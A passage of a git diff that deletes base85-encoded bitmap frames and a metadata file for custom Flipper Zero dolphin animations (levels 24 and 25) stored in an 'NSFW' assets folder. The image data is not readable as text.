zY6ma^U9Rv7M303kfPbxE_5b(a8w@W(EdZ#ptfA0f=Xed!%7yi`1P6yk6jjcjq5)Fsf{tsUNx=$d$#4=t^|5zTsUH&?i1fb9^ zU)$(CcmHVImqUP+es2EodQd&R{dDR9Aof*1d$9X72Afcl-amKn`uIM&>(m|z6!7=| zSJ*f`JOBTFu2Bifeee5ldRQ;Fd)i=)3szk!%4UF z`*34=U^IL9E`}vg{rO-}AbG?m{C~8!6GYW(>^ImTJnA1@mwtx=gmizjuDmp!mE;f&QD;uvm;F16%UdE7F0h&)_6KTD?jG zyxWJ;f$h7o&s^+C#=;%E5lc=R;^C*>TsZ%Yas2V;9J-Sz{ z(POq)&Bm5h?7M?UVf^afsT`=3f>R>N#VcCc{5Rn%-PLOpSp}vQh|os6*Q-=Mq4&35 z^$>_nLX`oPMQvSwczko+y6mEtK(Rw<6$sAzd%A~MJ#|ZMVkr`&NuW|t`00JHeg*e` zd#Fip9ta#mQ3~H*_V6qRuS;&IQeij@trC?AwQ@Ub5wG{_TMbl#lDZtMJH2=RzySZ@ Bp;7<< diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_25.bm deleted file mode 100644 index 71102e3e541631e1f6d3d174549cf3362fe5597f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 823 zcmV-71IYXV05bysEK>!7i39IR6xmFH_Xw)#B*6RXVye=Rec>vZK>kW4cCh|Ypcw%E zaxMC*NIvpet>mm390(i(l~u@EfaU;C1Reomi0Epda{wjcJ|7wuAU+^+04H*KuNY2- zY6ma^U9Rv7M303kfPbxE_5b(a8w@W(EdZ#ptfA0f=Xed!%7yi`1P6yk6jjcjq5)Fsf{tsUNx=$d$#4=t^|5zTsUH&?i1fb9^ zU)$(CcmHVImqUP+es2EodQd&R{dD>PApTUpd$9X72A5Eh+&{PQ`uIM&>(RhsoL>Lx z`v(W7fB)~*${{rmz5i|xO9l4t`vVpbtUvfDeLDXC{;H9Zlzsj6Q2PCPdaRHbX*K&O zy=WK>AN~`eiDUx90fGb0AwT2ovbahotAAy_!U5+{`sBa#xRfHJ+o5~mWc0vN>bZDS zm(Bm^Ku75ypkV*?SdIf}*6~1x=^%hbrP|39Qn!4RKmq9h=Tf0{8bpEx;qgj=>7d@p zs9FgYCKX7ke^cpTwc_DaC`OV+A@tRO>A?R@?^ui$3IVO^Z{6uY)#vaK7vS2I~M`rhl*o$jJnufSft z!u6|bpgIjKS_9I$R)g&xrT+CaYyN`u_7ASRT>{}*VYE6;*18`~2lktm#$5H1nTF@? zA4>+RsVSV!xmBvH%QpW`#lKlf(M=_lETpR49S5G$brh`MbQq0wR%`T`14qFJw@USz zEVR;9I+Dt3mhfooKb>3kBb6kOLo^gvuG?#0hWsUax~*c10o2Q(H5k`w-D-!_KKAS0 zq7g`#L8ux?kbHgN@y~YavWi>^#U_HvBfaka)*WE=)h)G%rb3|t$Y~)HsYmV)z`pPA zbqOp6!3u!NA%5@r!7i39IR6xmFH_Xw)eq@eriVycp`ec>vZSr9(MqiTwS?-hW; zT7maOuGT1E`{`BxQqW{@AaD&7Vi9Wtm;pQxcn2#>P^y8<0GEjT0>uHKhr|v*1ny5s z<0Z)(#123NyItTNj1K~J0RISt0H6N+0-;OkLZB6Y_&sZXSO&u_^#_mt+8=HF2SKm> zL2w&g_&s|6XdSkHwySVI{-APTKfV1I1C`mr@p|9*2t76bSv&$!C4_oE`(S$h>-l(8 zPLUG1ZA0t8ul?Y0O++eyKOUb zO$PV<*TKQ*-~apJA@S;W{{NtQSTDDK-iiScpnd<=@cQ-r{rp8Dfr{Vt|FBT{eR_AO ztOg~h?RjZo^gRxb-yzUIDmVI^1iq0C?;CxK!AiAWzb*O@4?2h5mFufTU>zO(2k#3f zrUM7RrNXMdtJkIiPe}y>FZ#>Ga2qduf&~Nzqyhymwn(Cq-R6=24@d<%uNBBrAP}n! zrfLsO1=b6N&|s>R8ixzqk6!++MMQ{DAhb=TbRL`!Ra;q**j$qDdXz-+R0x&> zRSK7BZt#8u_y29!Wgr%a6ef`k{a*F3JO{2LTc}B7k{GmuD+CXZ-J&)BecNGFfXpz^ LNlZ8G{_em4xe=Q5 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_27.bm deleted file mode 100644 index ae701d2d7a0d1fa1bf98abe8437c41a4396c25e8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 833 zcmV-H1HSwL06hZ$EK>!7i39IR6xmFH_Xw)eq@eriN~*H3ec>RPSr9(zmAh0_A9$$- z64Vd6B{xw+2j5D+dX|GDfdhbOr4)-;9KZ?SgTOgh9EDU4Udl2ivU0(U2* z@sQAFpmP8v+V24DK=KLk{}6-#pZ@#;p{4OfAQgZ3J!^kh2Ew29hXu#lA8q^xL9YEl za2s9tJ$nCW9kzdN)$l+5pmJb8z5N#hmDz=Hdf)g6JvIMXJOWWApn5<1V0!-R`FK=L zkqWtOL+ik={orv;L@FRZ9;*R3A8r0OB?6FAeLrjPJ$wG?Jd*=)a=??n`V&_DnEa6LR7e}8`w0McbOesB1_ zEFWH->nD(aNk96%C_N|`4IjLkF)mKq%L7NGLVw5KLhzK1m+r;nJs_j*t@ zb^HXP{lBO{e_K@gP(8EQEDMh@p;AA-@Op4Ncm9PIC+Wywf7?-d{kzZ{R)>jV$y;sW z^{wZzUuvcnzd^kAgXzG#Yos|11Xc&gziore#Ivt8759(zgEQ=?jvNVWQ@ zMY3uQ9|RuVH>PT;*BDmfi#6I>!K1MLb!%FU6jD)>l2qYc?)82f@RjcGa*8en!3Mx& zBUY!7i39IR6xmFH_Xw)eq@eriVycp`ec>vZX%IfcqqUU-?-c;R z1M-PotysbL(yRX|pvd4r;2JE%K)xVy04IVE0Od(&6;L^V67e5^Sg<;)s2sov+@6!h zN?#y3021wYfOa4~8LR{SYX`6YzW}IG^iikwRINarTGXe*w@-?=U{5C5nfm=E87N2u!3aJ*i({sIq5{q9cylx1NakN(&mzuvws1rwA+ zu3J$0@H+SD95RuGpby8Yz)lDI-w&wBWD!qK+Wrq(-u{g$fkI>(3jeeozW;1LK?tBy ze!o!rUa$Jtbp`{H?0>yL_3!uT_c;cF-T709J$~PP^m-vB{8sM2xDY)275)G24@87m zKmYxF93G#p|Gtw5g>t(8@6bJc|8LfcKmZ^AuHFwz2KR5@gko@%O5cC`1qY|E*Y>GE zBpHwYmX;q%1p`Ol#b_W}Eme*JUr2`Ejrxk=Vw#`-O8p22okRPI*V5ur4wr93_k|bJ z0i*wF;aOg#`qKd)q=JEmwdLYa53gT=0)hk50ScdMBoaui^3wnZqyn2$gVZT82vx$R zYX_!+{fo#*FjP$~6Up2+rGnQhh47^mhz^65wojwHYWGM)#|wy;el73xpjPAf84dS; zprCtuLi7)f{s{`>OlVLq_S_zn4&QE}g{Anl8jshs9=_f77eyiD=&)D4xcz4J=nnU( zlGo5HqxQXLsXPq?76+8QTc9EItLva&`&C;1VZ8Q*>A?R>rF;%dnukET-NWg?>g#Zk zYpya^x!QMC>+Z@%wK_hvR*5y+ztgdG)>S21tv0JQB)3OF=d_PyDqmS7D_>Ha?Iu9c z@Imd;xn`CfaEWdt(q84f8aof?R{coi>LirC6-G6-?N{Ny3105gSkXYP5NJgTE84c& zq4f{Fy1%G}WGs~I7NRM(+k3;~p6%Ub5m*g^4-k|_d*8jJI>GCzS8EiRB_}0>sY7>I zPW&H%eZSr65hftOq!LJNyZ^d@U_EqN?!#3isKTK%s84I9*I!7i39IR6xmFH_Xw)#B*6RXVye=Rec>vZK>kW4cCh|Ypcw%E zaxMC*NIvpet>mm390(i(l~u@EfaU;C1Reomi0Epda{wjcJ|7wuAU+^+04H*KuNY2- zY6ma^U9Rv7M303kfPbxE_5b(a8w@W(EdZ#ptfA0f=Xed!%7yi`1P6yk6jjcjq5)Fsf{tsUNx=$d$#4=t^|5zTsUH&?i1fb9^ zU)$(CcmHVImqUP+es2EodQd&R{dDR9Aoo>2d$9X72Rl%b-amKn`uIM&>(m|*6tMUI zSJ*f`JOBTER*?weeee5ldRQ;Ff8GiK0mv1H{{;`HU*G@8QY4aJxRgWd_37%OtWl&_ zY@+p`U^IXFRYp@#|McK6KzYO`{C%_+3k20#?6=rJJnA1@m;YA)iF9}LAABsHm2oU`w5D2upSt61~?vj#vz&X^YT}F`*g<33AAbMyw zvT7EB1&Gm5Jw4?5SS@(CRSKb^fK;lMuzGMm(|gt;WrD?3y*>CceKmRf1PA-S&_F+1 zSNc#rw|Eq*jWL92Ki23Fy*GRMMiv+1(Lj5>u=@48*d7&!lTf7I_TluPUhCAI=!9+b z3-4%NwQY0D^qU++;W*XS-m_Sb8mTq`XWr=-4J!|A~O({k9$PAaER z*!Mx{VAWM6Gn-$l8!DR3)#=!`>nU0-mRi+Rn){=`^V&|Lm7DC66|c(4Hj_|j_#pP_ zUb96O*vO|ES=Vx`4IPK`tA3<%q>>C(5~mW|e{1mHgs*p1tWjV#n7%_n6zx^5Q2K}7 z-FwtRDHRMf5|tI(YkuMJ&vxswid+iC7NArkUGLp;7hv_(EwzZILV<&VWn)vSSKbZ4 zzVGjK2`mQD3W#bUp6&f^2Y~hIZO@^SP#{zslq$92`@moo{{3rVs=!pGSWQ$r-Cgd$ E0Bn(?9smFU diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_3.bm deleted file mode 100644 index 14fc8e0ef34f6444567c44203ac99882c0fcfbfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 760 zcmV!7i39IR6xmFH_Xw)#B*6RXYO2zZec>RPQ2t6QcA)-Iq&Wcn zPaqtLR;WH8VE{M&0g|upDPUp%E(7lY^GY%@pfLm2fn9;nusRB;7=i0x`@!u|TurOM z1`vAqH?ZC$hk-h{Z(yMHxO?I9j2=oW@B;`veiyjkLMz~nZZ6Q!dh9#V*@mC@2K;x! z?{}a0EB9D0a`X>thwpc)uYRig-*~;g7X5ugtCfa(cj5M|e`mM}M5;r4^~Zth`1|eQ zQ7S|e-T#e)*74t;La8uWM)O)9ZpYVGD1l@!UvK<;KKJUDMhQ@_TE*?y{oUy>O#~D6 zAAiTXyK=zbH~#9}bUxR={N903=5PP;ar^r7nh2NU>((#2WMc9tC)d7zf5-pZOTa+5 zA8ojOryiTV4kIY)_w}UqlzcnV`Vxjqx#H+gge3 zz~4n=5-5ZhS>A~Q*HN~#a%m8ZmMZHL2d=~0qQhXS8k&~A91mLt?kO;c(4j36f`ivV z?ZVP1RH_$3ybo&!ZYz?_S0g)KxP9%i>qKf{Mzn3DxJ{#)wZ^dE|RB;+YjFRLCAHka7ixg-uqfqm&;44=ylL=dfYAa zTHhi^Rg&9P?Z};EYF=7DS4H-WgV$--rF(E%omC>cHwUfjdxWWKa9Z4s+MI1pe_qvz zlTd1uEf-ts^C*_W>AJhcU@=GzqEWloOQE3g_-*?2>MW9@DuC2I`@d8?9yJSXcIzpC zej)UYRO{7y51oJOU5e6tQg{s`-Jka$O2PGu-svS#g~>9tyOngFTn^vrtre+qAaEL& q+uQengU12xtKRi63Jgafl&@Cx@Du@W|JUs-OA&&?YPY}durxrC;*SCV diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_4.bm deleted file mode 100644 index 54f0529fb018c7aa06753e7668647be98a16deb1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 854 zcmV-c1F8H008#@0EK>!7i39IR6xmFH_Xw)#B*6RXO0}|}ec>>fDG)yDmA$ZkF;WZw zKPZ&l)r=V&2s{I&U$#?V9tapcei8Tvicv_Fz&{Z1dj2Qy4ps*tRe*m2;s8zM+5uvU z=xtC9^w=K0&-pxLIGL;i-X{&=AMUNBDcVTm}{B z|4?tRfO*tDxUc@Mm6Yjf>c03{eK-<6teQO-FNpQ~dJrfeJtz{X zck)9Zi|(wD0D3?vxH>dLDF~-rDKk)dXgAepO@;%cf>AnN;re(ku(=izNkNe4eH&+b zP(Ay7b^-y4f=j(!wR%uCvHAp-_i@lrf41QI_V4i+6f((4fNr~B^x%EFcuG#6p`fXM z_V6(J@2FU69t%r={aZ!rZSTZBx}0v`N!{-U*YBT!@+uOTO#}0552OOSFWPNAd~CkD z_1y;~1MjYs(l&IMP9y2}2POksPtioCRc$1i^R0lJ()Cx;)i+dVu9wwYC#J(&E7bLD z61}dMwf2V#N*`G5*0fu$Rt~R`>T6>^2oC}&_q$T*wOE8w*(I#*{@REa1OHm}*6=c_ zPA8G5>2-De_#FbPt*^@CP+WwPMI!Fst2US)0s23Rl@@_ggy1P0nqRkn1HfHwsj~4LI+97bHCp^=sbIx|IUX= gB*4NT5?n5?T`LEVt<8 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_5.bm deleted file mode 100644 index 0074610e4235d4b5bf568031e172ba41a2a5e004..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 847 zcmV-V1F-x7080Y^EK>!7i39IR6xmFH_Xw)eq@eriN~*H3ec>RPSr9(zmAh0_A9$$- z64Vd6B{yY721f!10O?ovgz*EA0X`7;28vNgs)5V^pNRYem4VO$#123N-cO(wEUqA) zJISy;eb=&h$aFJU2m1aGUH85L*n#k+P!7H59=^ZS2BD?sMzA07xPTB2Fg=Ao_Xgl< z_Q3Vq@1S}OchU>M{{O-2-}T}8)BWzN!EgG5lL7VLX|x=zUKh*y@4!Lnzx%=95eTG9 z(ck+6*YDq}VQSQvM@#L$2d4wO_JPWs<0SBY{Y?bmee3l2rY0eP+IO$u_1}M@x)q4Z zydQBmgVVRyr^>KU3I*5q-+=?u{eH#KBorF2yd+dfTPM9(%g~{u4l=c|PC%_&qEi|M%BL6o_Is{@<(^KAl@% zevyEJaBlwn_K}X;u9t?Qdj8fOTqvHH2|fQW7KC{#`WOj4Boqu^+N&qgR{p+76c8Sm2o!($5r9qi z(ufE>AQbAg7NMk+L#!4Z&^oe`8mnv-9+&!DO9>Ft#I#^@K1`)lzXfPkn(tRi!dF%p&O&Uy#y|)La1GWFTXX52GQ)^TGD;HX2R@c=^pr)=^c)(y2R{RBLbTxWRlEjjvXdqLoA>m4e{UX&{&_Mr*fr?ZLbmzVBC41d(KEP>haK-QD)V_!sRj>ocl^XdqG=rgk?a z-@v#XTi)Jd37}~rP>N0~|NH8|@E5vYwxLytP$0A%q$*d{-@srV|NZM>Qov#$5K5Fc Z-ER7%2YsrySSe906-yy1g6_Ar_y988vIzhH diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_6.bm deleted file mode 100644 index ed9f19aa3a0bac8dd5a1fcb029338bab57d35b1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 824 zcmV-81IPRU05k&tEK>!7i39IR6xmFH_Xw)#B*6RXVye=Rec>vZK>kW4cCh|Ypcw%E zaxMC*NIvpet>mm390(i(l~u@EfaU;C1Reomi0Epda{wjcJ|7wuAU+^+04H*KuNY2- zY6ma^U9Rv7M303kfPbxE_5b(a8w@W(EdZ#ptfA0f=Xed!%7yi`1P6yk6jjcjq5)Fsf{tsUNx=$d$#4=t^|5zTsUH&?i1fb9^ zU)$(CcmHVImqUP+es2EodQd&R{dDR9Aof*1d$9X72Rl%b=0A7v`uIM&>(m|*6u9^Q zSJ*f`JOBTER*?wuUhn&GdRQ;Ff8GiK0l<5{|M)01(IqH zO$PQ&LeW5F5L!dIiKkePp`-tS5VuRhHg&gX$Z z{cT0*K=$48QYv+VNf7>z*MYm=&@i}eRznNEt&7*K-@?+Wcncne+xHi*?za)z>ScA@ z1?sdPP6t}QMd)ZDP(D@YexdQ#z`c5@SARit54O5r71dH{vRy^!e!LFuwv~#B>nbuG zuCzXu1n9*jGrne8sVUpRf#=x2>m^pLBwACdnRlb0^V&+Xol4ZAm+qxXwv!-e_#pP_ z+_Iys@j+`jS(mcj4IPK`t8S!eVN{5YlS>@kcB}B;gs*p5tWjh!DpW#65!X#^Q2K}7 z-FK8iaT*8|29q7_d%fZD&vxs&ic||x6p~aSJMG@q9bom!7i39IR6xmFH_Xw)#B*6RXVye=Rec>vZK>kW4cCh|Ypcw%E zaxMC*NIvpet>mm390(i(l~u@EfaU;C1Reomi0Epda{wjcJ|7wuAU+^+04H*KuNY2- zY6ma^U9Rv7M303kfPbxE_5b(a8w@W(EdZ#ptfA0f=Xed!%7yi`1P6yk6jjcjq5)Fsf{tsUNx=$d$#4=t^|5zTsUH&?i1fb9^ zU)$(CcmHVImqUP+es2EodQd&R{dDR9Aof*1d$9X72Rl%b=0A7v`uIM&>(m|*6u9^Q zSJ*f`JOBTER*?wuUhn&GdRQ;Ff8GiK0l<5{|M)01(IqH zO$PQ&LeW5F5L!dIiKkePp`-tS5VuRhHg&gX$Z z{cT0*K=$48QYv+VNf7>z*MYm=&@i}eRznNEt&7*K-onzVcncne+xHi(?!6J(>ScA@ z1?sdPP6bMOT*Ma?}!*G#YWJW`^ z)`!x;s;X+IQ$DV`sVUpRf#=w_>mrn>)RLvDnRlb0^V&|Lo}1M}8Lp*Dwv!-e_#pP_ zUb7{pibZ!?si(5u4IPK`tA3<;Vw(&;f{GFz)qWfBmG0`bh*SsDDTHLBTIsE-A5i<- zuX>6lBOwaGR3crkcf3A1?%j5g34v&+Q4J(>eY@JjtRA|hwsDonXd+lCL{`Ou?mzoz4x`i@E*M_x}hqh;4m0Wq$_n)`@moo{{3rVq<~UnvI#6U-S6)} E0I|rJQvd(} diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_8.bm deleted file mode 100644 index e33678f5bd7d815287ea00c31c0008c149a76ac1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 826 zcmV-A1I7FS05$^vEK>!7i39IR6xmFH_Xw)#B*6RXVye=Rec>vZK>kW4cCh|Ypcw%E zaxMC*NIvpet>mm390(i(l~u@EfaU;C1Reomi0Epda{wjcJ|7wuAU+^+04H*KuNY2- zY6ma^U9Rv7M303kfPbxE_5b(a8w@W(EdZ#ptfA0f=Xed!%7yi`1P6yk6jjcjq5)Fsf{tsUNx=$d$#4=t^|5zTsUH&?i1fb9^ zU)$(CcmHVImqUP+es2EodQd&R{dDR9Aof*1d$9X72Rl%b=0A7v`uIM&>(m|*6u9^Q zSJ*f`JOBTER*?wuUhn&GdRQ;Ff8GiK0l<5{|M)01(IqH zO$PQ&LeW5F5L!dIiKkePp`-tS5VuRhHg&gX$Z z{cT0*K=$48QYv+VNf7>z*MYm=&@i}eRznNEt&7*K-onzVcncne+xHi(?!6J(>ScA@ z1?sdPP6bMOT*Ma?}!*G#YWJW`^ z)`!x;s;X+IQ$DV`sVUpRf#=w_>mrn>)RLvDnRlb0^V&|Lo}1M}8Lp*Dwv!-e_#pP_ zUb7{pibZ!?si(5u4IPK`tA3<;Vw(&mf{GFz)qWfBmG0`bh*SnsD}-dDTIsE-A5i<- zuX>6lBH;?bR3crkcf3A1?%j5g34wU9@(m<&eY@JjtRA|hwsDona3nBEOjgyZ??Lz% z-Tm&NC4gcfQ3^yiz4x`i@E*M_x}hqh=pa-bR4a8<`@moo{{3rVq<~^%5KOEx-S6)} E0MLP$fdBvi diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_9.bm deleted file mode 100644 index ab1b1f433f4b08a41bd0abeeea73ecb132c63ab2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 828 zcmV-C1H=3Q05}5xEK>!7i39IR6sXNX_avz3q(c0P)uN#LauAaVdF;y(bfX=)a*Ie-&+J`apa zf*%{?^d7$J*!*BTqsz|zuZz0hz(MJ2s_FC{Zrn@P@A`w(J~4O4LM0TTd+%WN^;P2Xtri0T=>GSC>%aeLbr6Xq zQsMXegV*e_n)P zGacRY3_bhs1?qua6nVF2T} zeQ{dsttzRiztU>(vie{sfB8IC1L^g6pd<8-}E3*Kzd*xQ~%Va0T=dJ zAOQ4$ORCUXg+fsdxM;UP^w4i%c{(N+5u&16ZK(CN)Zml|28eDwO|U&UA8CKL2`Rx+ zwf`%7{U{x}yaFS-x?m_B&8!F>mfikJg$}sXq95OQJvbk`{Q?W8;%G2m;QMvD*j-f* z0i~o?!|Onu@1h%BOs{W(zSfE9z_(|pdJ2RV6HvVUgX`OuL4SI!R@;est%uj`ucdOV zFWnD^;G;SaN?Ymi|r)DUVjV#N3|KG!U8%^?nQ1cD;~q=(0M G?tlRK*01{j diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt deleted file mode 100644 index a29a0ddea..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 30 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_0.bm deleted file mode 100644 index f7e8785cff3a92876b6f98f155f32369434d22d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 988 zcmV<210(za0N4Zn|KjirlvY!iy`~tWS9j7E7Iti2lL4bmP=kN=~f&t+22g*rE zVGJAmwjPH<1HkbE#}R0PQXmk3d441iJBO?uGj0q5FgYK@JU%oC599O?ANFbm0tb(P zW;}*?%|9UV`sw}v;ecQP1_L;Q^eiCq29AgtFo=W#9dO^N1ROW~xpbri z!N6WN6>sfyK2#uZ&vpg|FfRJ6aS>3nbWG3h|05U!*KfvWw_ zmE{r#j0XV#g48ORU1i5V_y>%Q{6z5|i~a3i~6V4@L=sfEkAks+CKfL*N7q0zxYo1l6Q9Ni1{WAm~Ct0^boB$%-Ws zlz1^#2`C_7rXiq8!ov`ZPCt?ltVAv`q=@ha!+^m+r61^5VfrvgqC|86@t{bh5|8J@ zes35B(H=blu|aGS59eS11Z58(7CMTq0)eu?Oh32Y_&8uah%5*mAu*6qB|gvo{nRju zhE@Sol%0-Q|NYzGgTd5QpczxJu!`Y-e~cwuH3@tJtEvZ$CIKS#|Lx}S9t?7Ul^>RH zq%GmEyG9YHgK#hPSPla)5*uIsZoe1?stKT}Qo-XgG>?2!Zq*wd_G#Z1!5(rl}Ionk^KkH0aQ;6 zS3y*uz~C1OxBo65902@vNwK2V0V816|LbM)w!kt{s06DX2^$aielQpYf;9lB#GoJQ z`lMtPaQK79p#{KHEU*vaq^KJI{nQ>g2$ce0?jPpnMC4{yL8O5)Q};DGbsZQua$pnhO@D}Js6_;rlu0seqQ6T&|pEMAcc K_+jtjq1Awm>8*VL diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_1.bm deleted file mode 100644 index c524ae828d13b4c2acbd2b4be471aa401a18b57e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 988 zcmV<210(za0N4Zn*WeilmL>)G|9}Sp%KuP*-~IdoL9Nk2egN{R*89;gc+=n-3#U{b zoGov{BmDp8;2sTEJ{Au<6qmyZ2aX;Cz@g+};Pdt8un|~>JqZJz-+JyRwNid`T1B=BMT3WLy-WgYH#=t{5}B(fnX`1@xWxDFoclcPU8TA z7sd_`8AVnH004{x9#Ce;*@NXsheV~$atV|IFmD_DgC!KegN70O28euS6D9bJbpr8$K=crBc;5B3NPsM86bSYL z49Ool)M3{NDEP1t3jn-C!!rkrmjT+56b~VRheU81(0J3J85%?YA}}ci3MT~MPr>3e z88Eb^&nOKTh6079zz4^XJpW(f@Cid?aF~IB zz$&l`Zn*v=p{NJO13(FlQ`3L`%faFw838yzVn7%Mr(f2Wuf+IK0O+Vhjx`BP^ge;Y z2#x|33$RsU(*MN@Mh_bU{HPE*grh4ThkrN}uvqX)1)zaoDjHZs)A7iO0|YiSNBEP+ zK?#V(KOQMrq+22*9fL@qQ6PBLC}3ftLqTI`FpNrt2#kI_GLTr{VL>t4K%j{f!lD>Y zeSMZ7@_<$}pmD@N;v65o{%8&y06cV*hM3DCa1IA|zX*SnReU&CnLwfxOTYd^40o!G^Ie&5d)TqR6kIld1Cwfp!n4tV=i!y`l$e%a4Na_usn2-7=?Pt0RKqf5sC&T z|6K=(C}A1lVE?Hh@t|FQ^dNZkMk7Dyz(10>1oMHa|F4SE0GnUSgZ!hwZ=4OdJcNS) zrF!~+@z20F)C=teoL;C8TdyU6|0nPp_XDqhR~OR(;I-1=zt8>_H-Ns6ilG<4aH91H K590?v6%Sktow{TI diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_10.bm deleted file mode 100644 index 82a051223cab93d267c56654a5969ec220fb8f4b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 999 zcmVB0t~%J^|p-cj12kd3a)87$@`phX;;V1qTP6r!Bye1I9-Iz*G7$uzAgQI0zT( z|AT=*Ctg^%Jm|0t1elI7I5h)P(vSE7<=v#v4&_0N;3!)#dPQLL2v|H~F{lPpH9rT9 z|G|%k)FPnqpjcoUohAQ)|Bv7y@C^kN9x+c;0+q?%gTxvzcoqU2A1tf}Q2?-DKk#@2 z7``%p#r`1@g1{np2oL@T0Dzmz`G25kU{EPDoPnZ<8pKE*IE_X+fe?T$1xz6koJGOo zAc#goq5vO&2w-qa#vy(*`7Bmx2?h;-1R?S4Q<9_lrAj%FKw$O-(UI_PZ+# zl>z}TfI(o`4k&zR-wKfUuo5W-0}Lh^*gRtJ3T%|1e2xSv6M)vShKqpN8-|E{83qmw z0^o1M;-?u50+4?glnYG@Iu7VQF&G6HTyQRib`=2NS3~0`78C{%fuTrn0r9j?1LDmX z!LVR72n=!oDu7Yx=kbZaCJ+e#1ff+SZrJM;5v*0gd!M+fMPKXEK)7} zrTA#ub; zFMs(_ykQks9)naB8UkQyAMW{dQG=?1cq-%Z-An~AL;$2D6bF?{KWYby zEMXY)kpJZ{2*rYnzpI1JQC_J)Khih^@_}9duZqh6!cXL&@uk2co(`4$977?WU-ba- z)4(s(4Y)k07g31%#$)`)g@=LNu!GC{0p)h&upi|913%zh$Hh>&V0>GBObhw{#X@); V=mPv|5c&s(7gU1(ICJ+%-9SJ|vf2Ou diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_11.bm deleted file mode 100644 index c0cb636b8475be9a0be1baab7922bd4f5bb60973..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 993 zcmV<710MVV0Nn%s!C(@oPVxc#|9}QTA+PuVqZWW#HCM<8Jg@XkC4Z0x8q5QU1-?N4 z0D<4+CRcnwRAP__#=rdp2bKS&+PlI)!%%>3FCW+_eCiUhkcCF60JuSafb*a3ski6{ z`hQ@6a5X>ZSiJiZNyHQ$Jy-=oRsMtg0p(qT%rZad{sIGl&VS?J^QuI&0`afPp!5$P z@;-RZ>*|kqAqt zz<_l;pZUBC5mgS93QLKi$Y4GP$jilp2!KHXC1|Q(Si|2Jj0!+cD1`${I5W?5)1@soHo!9!(k9?r~ei|7)ArM1Q}=;brmR9BmZ9(h%k1d z0hbHLn*iGf&3ZT+R968iI}Hj8MTG9-?opyZI;3Y zcrX0E6#$QVKkzcZhsU+*&*DG$IHUt%^9Q9q)zgpQfATrZ1IP>*IDGBUntV(D3#mXO z9^d>w-~t+kZV`@vfAl^`4MWZw5O~4iA2=k^6aR$bVA=^5Qhnet4`UYul1RV$O_Ub_ z1b|Ed<&dO6wu149Q6ta_ECzwVQ4OM;Nf;;km6fz$A_4(`U!WZegaWk?|H&mcH@Z)t z9}8sy)dc_0s$5A7A_D+|PaqcvMgmel9Yqr>5`zoMIRLOkAR3q#{{<=n4MaXT4IB

